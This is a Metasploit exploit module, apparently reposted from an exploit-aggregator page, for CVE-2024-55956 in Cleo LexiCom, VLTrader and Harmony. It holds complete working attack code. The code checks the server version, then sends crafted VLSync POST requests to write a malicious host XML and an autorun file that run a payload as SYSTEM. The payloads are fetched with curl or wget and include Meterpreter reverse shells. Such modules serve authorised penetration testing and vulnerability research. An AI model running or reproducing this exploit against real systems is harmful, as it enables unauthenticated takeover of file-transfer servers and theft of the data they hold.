Share
## https://sploitus.com/exploit?id=PACKETSTORM:188718
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution',
            'Description' => %q{
              This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony
              versions 5.8.0.23 and below.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              # MSF Exploit & Rapid7 Analysis
              'sfewer-r7',
              'remmons-r7'
            ],
            'References' => [
              ['CVE', '2024-55956'],
              ['URL', 'https://support.cleo.com/hc/en-us/articles/28408134019735-Cleo-Product-Security-Update-CVE-2024-55956'], # Vendor Advisory
              ['URL', 'https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis'], # Rapid7 Analysis
              ['URL', 'https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/'], # Rapid7 Blog
              ['URL', 'https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild'] # Huntress Blog
            ],
            'DisclosureDate' => '2024-12-09',
            'Platform' => %w[java win linux unix],
            'Arch' => [ARCH_JAVA, ARCH_CMD],
            'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows. On Linux it depends on how the product was installed.
            'Targets' => [
              [
                # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads:
                # java/meterpreter/reverse_tcp
                'Java', {
                  'Platform' => 'java',
                  'Arch' => ARCH_JAVA
                }
              ],
              [
                # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads:
                # cmd/windows/http/x64/meterpreter/reverse_tcp
                # cmd/windows/http/x64/meterpreter_reverse_tcp
                'Windows Command', {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'CURL',
                    'FETCH_WRITABLE_DIR' => '%TEMP%'
                  }
                }
              ],
              [
                'Linux Command', {
                  'Platform' => %w[linux unix],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET',
                    'FETCH_WRITABLE_DIR' => '/tmp'
                  }
                }
              ]
            ],
            'DefaultOptions' => {
              'RPORT' => 5080,
              'SSL' => false,
              # The exploit relies on the target service processing a file written to an 'autorun' folder, which is processed
              # periodically. We bump up the WfsDelay to account for this, and give the exploit payload some extra time to trigger.
              'WfsDelay' => 10
            },
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        )
    
        return CheckCode::Unknown('Connection failed') unless res
    
        # We expect the server to respond with an HTTP Server header like "Cleo LexiCom/5.8.0.0 (Windows Server 2022)".
        # Note, the target product may be either LexiCom, VLTrader, or Harmony.
        if res.headers.key?('Server') && (res.headers['Server'] =~ %r{cleo\s+(?:lexicom|vltrader|harmony)/(\d+\.\d+\.\d+\.\d+)}i)
    
          if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('5.8.0.23')
            return CheckCode::Appears(res.headers['Server'])
          end
    
          return CheckCode::Safe(res.headers['Server'])
        end
    
        CheckCode::Unknown
      end
    
      def exploit
        jar_path = nil
        jar_file = nil
        command = nil
    
        case target['Platform']
        when 'java'
          jar_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"
    
          jar_file = payload.encoded_jar(random: true)
    
          # The product ships its own JRE, so we can use a relative path to run our Java JAR file.
          command = "jre/bin/java -jar \"#{jar_path}\""
        when 'win'
          command = "cmd.exe /c \"#{payload.encoded}\""
        when 'linux', 'unix'
          command = "/bin/sh -c \"#{payload.encoded}\""
        else
          fail_with(Failure::BadConfig, 'Unsupported target platform')
        end
    
        if command.include? ']]>'
          # As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command.
          fail_with(Failure::BadConfig, 'Payload cannot contain the CDATA closing tag "]]>"')
        end
    
        host_guid = SecureRandom.uuid
        mailbox_guid = SecureRandom.uuid
        action_guid = SecureRandom.uuid
    
        # This is based on the XML file that Huntress published (https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild)
        host_xml = %(<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <Host alias="#{host_guid}" application="" by="Administrator" class="*CwwQNwwbER4SEhA8Ex4cEDNRQQwRBwsbGk5TEQdOEAUWTkM*" created="2020/10/10 00:00:00" enabled="True" enc="#{SecureRandom.uuid}" local="True" modevent="Modified" modified="2020/10/10 00:00:00" moditem="&lt;copy&gt;myCommands@Local Commands" modtype="Actions" preconfigured="2009/10/30 15:15" ready="True" standaloneaction="False" test="False" transport="" type="" uid="#{SecureRandom.uuid}" version="1">
      <Connecttype>0</Connecttype>
      <Inbox>inbox\</Inbox>
      <Index>0</Index>
      <Indexdate>-1</Indexdate>
      <Internal>0</Internal>
      <Notes>This contains mailboxes for a local host which can be used for local commands only.</Notes>
      <Origin>Local Commands</Origin>
      <Outbox>outbox\</Outbox>
      <Port>0</Port>
      <Runninglocalrequired>True</Runninglocalrequired>
      <Secureportrequired>False</Secureportrequired>
      <Uidswpd>True</Uidswpd>
      <Advanced>ZipCompressionLevel=System Default</Advanced>
      <Advanced>XMLEncryptionAlgorithm=System Default</Advanced>
      <Advanced>HighPriorityIncomingWeight=10</Advanced>
      <Advanced>PGPHashAlgorithm=System Default</Advanced>
      <Advanced>HighPriorityOutgoingWeight=10</Advanced>
      <Advanced>PGPCompressionAlgorithm=System Default</Advanced>
      <Advanced>OutboxSort=System Default</Advanced>
      <Advanced>PGPEncryptionAlgorithm=System Default</Advanced>
      <Mailbox alias="#{mailbox_guid}" class="*BxAdExYeMgwbER4SEhA8Ex4cEDNR" created="2020/10/10 00:00:00" enabled="True" localdecryptcert="" localencryptcert="" localpackaging="None" partnerdecryptcert="" partnerdecryptpassword="" partnerencryptcert="" partnerpackaging="None" ready="True" uid="#{SecureRandom.uuid}" version="1">
        <Action actiontype="Commands" alias="#{action_guid}" by="Administrator" class="*ERAWCxw+DBsRHhISEDwTHhwQM1E*" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" uid="#{SecureRandom.uuid}" version="2">
          <Autostartup>False</Autostartup>
          <Commands><![CDATA[SYSTEM #{command}]]></Commands>
          <Filesin>0</Filesin>
          <Filesout>0</Filesout>
          <Ssl>False</Ssl>
        </Action>
      </Mailbox>
    </Host>)
    
        zip_file = Rex::Zip::Archive.new
    
        zip_file.add_file('hosts/main.xml', host_xml)
    
        zip_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"
    
        arbitrary_file_write(zip_path, zip_file.pack)
    
        # The payload working directory will be the product install folder, e.g. "C:\LexiCom\", so we can pass relative
        # paths here for cleanup.
        register_files_for_cleanup(zip_path)
    
        # For Java payloads, we also need to write the payloads JAR file.
        if jar_file && jar_path
          arbitrary_file_write(jar_path, jar_file.pack)
    
          register_files_for_cleanup(jar_path)
        end
    
        # Install the new host via the -i switch.
        # Run the Mailbox action via the -r switch, which in turn will execute our payload.
        autorun_data = [
          "-i \"#{zip_path}\"",
          "-r \"<#{action_guid}>#{mailbox_guid}@#{host_guid}\""
        ].join("\r\n")
    
        arbitrary_file_write("autorun/#{Rex::Text.rand_text_alpha_lower(8)}", autorun_data)
    
        # Note, the autorun files will be deleted by the system after they are processed, so we do not need to register them for cleanup.
      end
    
      def arbitrary_file_write(path, data)
        boundary = Rex::Text.rand_text_alpha_lower(16)
    
        # We can trigger the file write via either of these two commands.
        multipart_vlsync_command = ['ReceivedReceipt', 'SentReceipt'].sample
    
        # These parameters can appear in any order, so we shuffle them.
        multipart_vlsync_params = [
          'service="AS2"',
          "msgId=#{Rex::Text.rand_text_alpha_lower(8)}",
          "path=\"#{path}\"",
          'receiptfolder=Unspecified'
        ].shuffle.join(';')
    
        content_data = "VLSync: #{multipart_vlsync_command};#{multipart_vlsync_params}\r\n"
        content_data << "#{boundary}\r\n"
        content_data << data
    
        # Note, the server does not process well-formed multipart form data, so we do not use Rex::MIME::Message.
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'Synchronization'),
          'headers' => {
            'VLSync' => 'Multipart;l=0,Acknowledge'
          },
          'ctype' => 'application/form-data; boundary=' + boundary,
          'data' => content_data
        )
    
        fail_with(Failure::UnexpectedReply, 'Failed to write file.') unless res&.code == 200
      end
    
    end